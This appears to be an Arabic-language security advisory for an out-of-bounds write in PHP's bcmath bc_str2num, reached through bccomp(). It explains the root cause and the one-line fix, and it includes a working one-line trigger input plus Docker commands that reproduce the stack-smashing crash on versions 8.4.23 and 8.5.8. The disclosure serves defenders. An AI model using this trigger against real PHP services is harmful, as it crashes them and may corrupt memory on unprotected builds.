
CVE-2026-17544 — كتابة خارج الحدود (OOB) في دالة bccomp() الخاصة بوحدة bcmath في PHP (تحطيم المكدس). تم التحقق: تعطّل على الإصدارين 8.4.23 و8.5.8، وتم الإصلاح في الإصدار 8.4.24. GHSA-x692-q9x7-8c3f
bccomp() في PHP bcmath (Stack Smashing)CVSS 9.8 (حرجة) · CWE-787 · GHSA-x692-q9x7-8c3f
تحتوي الدالة bc_str2num() في ext/bcmath/libbcmath/src/str2num.c (نسخة libbcmath المضمّنة في PHP 8.4+) على كتابة خارج الحدود بانحراف N (off-by-N). عندما يكون scale المقدَّم من المستخدم أصغر من المقياس التلقائي للمعامل، يُقتطع الجزء الكسري ثم تُنفَّذ عملية إزالة الأصفار اللاحقة دون تحديث fractional_end. يتم تخصيص المخزن المؤقت بالطول المقتطع (الأقصر)، لكن النسخ يستخدم الطول غير المقتطع → تجاوز في مخزن الكومة/المكدس المؤقت.
المتأثر: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9
الإصلاح في: PHP 8.4.24 / 8.5.9 (2026-07-30)، الالتزام fa18dab73f93 / ce2ec8a70755
فضل التقرير: Recep Asan (recepasan)
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end; // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale) // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end) // copies UNTRIMMED length
تم دمج الإصلاح المكوَّن من سطر واحد (fractional_end = fractional_new_end;) مع اختبار الانحدار
ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt في الإصدارين 8.4.24/8.5.9.
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
تم التحقق في 2026-08-12 على Raspberry Pi 5 (arm64) عبر Docker.
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)
# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0
bccomp() بشكل حتمي (في الإصدارين 8.4/8.5، البنى المزوّدة بحماية المكدس تُجهض؛ البنى غير المحمية تُتلف السجلات المحفوظة/عنوان العودة).fa18dab73f93 · إصلاح 8.5: ce2ec8a70755| البناء | النتيجة |
|---|
PHP 8.4.23 (قابلة للاستغلال، Docker php:8.4.23-cli + bcmath) | 💥 *** stack smashing detected ***, exit 133 (SIGABRT) |
| PHP 8.5.8 (قابلة للاستغلال) | 💥 نفس الشيء — إجهاض حتمي (deterministic abort) |
PHP 8.4.24 (مصحّحة، php:8.4.24-cli) | ✅ int(1), exit 0 |